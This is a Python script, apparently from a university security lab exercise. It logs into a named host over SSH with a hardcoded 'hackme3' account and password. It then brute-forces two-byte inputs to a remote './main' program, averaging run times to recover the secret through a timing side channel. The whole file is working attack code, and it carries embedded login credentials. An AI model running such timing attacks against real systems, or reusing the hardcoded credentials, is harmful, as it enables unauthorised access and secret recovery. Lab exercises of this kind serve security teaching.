import operator
import traceback
import paramiko
import itertools
import statistics
import pickle
import base64
import re
from shlex import quote

nsamples = 5
DEBUG = False

key = paramiko.ECDSAKey(data=base64.b64decode("AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG6BMhE8iR+OoCjLDQ9GPJjHY3yfk/tC5VBUC4mLdJ3EbaUlNjfAyE5cbW6dxH3AVNSXTTOaRDSsVI82Lv0brtg="))

client = paramiko.SSHClient()

client.get_host_keys().add('agile019.science.uva.nl', 'ecdsa-sha2-nistp256', key)

client.connect('agile019.science.uva.nl', username='hackme3', password='tryMeMore')

def try_option(chars):
    shell_quoted = quote(chars)
    stdin, stdout, stderr = client.exec_command('./main '+shell_quoted)
    res = [*stdout]
    if len(res) == 0:
        print("Warning: no result from command?")
        return
    if DEBUG:
        print(res[0].strip())
    return res[0].strip()


def mean_try_option(chars):
    results = []
    for i in range(nsamples):
        output = try_option(chars)
        while '-' in output:
            output = try_option(chars)
        results.append(output)

    times = [float(re.search(r'(-?\d+.\d+)', result).group(1)) for result in results]
    mean_time = statistics.mean(times)
    return mean_time

time_map = {}

try:
    possible_bytes = [chr(i) for i in range(1, 256)]

    current_max = 0
    cmk = None

    for n, possibility in enumerate(itertools.permutations(possible_bytes, 2)):
        possibility = ''.join(possibility)
        mean_time = mean_try_option(possibility)
        if (mean_time > current_max):
            current_max = mean_time
            cmk = possibility
        print("Mean time for pair %r: %f (current max is %r at %f)" % (possibility, mean_time, cmk, current_max))
        time_map[possibility] = mean_time

    max_key, max_val = max(time_map.items(), key=operator.itemgetter(1))

    print("Max time for key %r: %f" % (max_key, max_val))
except:
    traceback.print_exc()

with open('output.pickle', 'wb') as f:
    pickle.dump(time_map, f)

client.close()

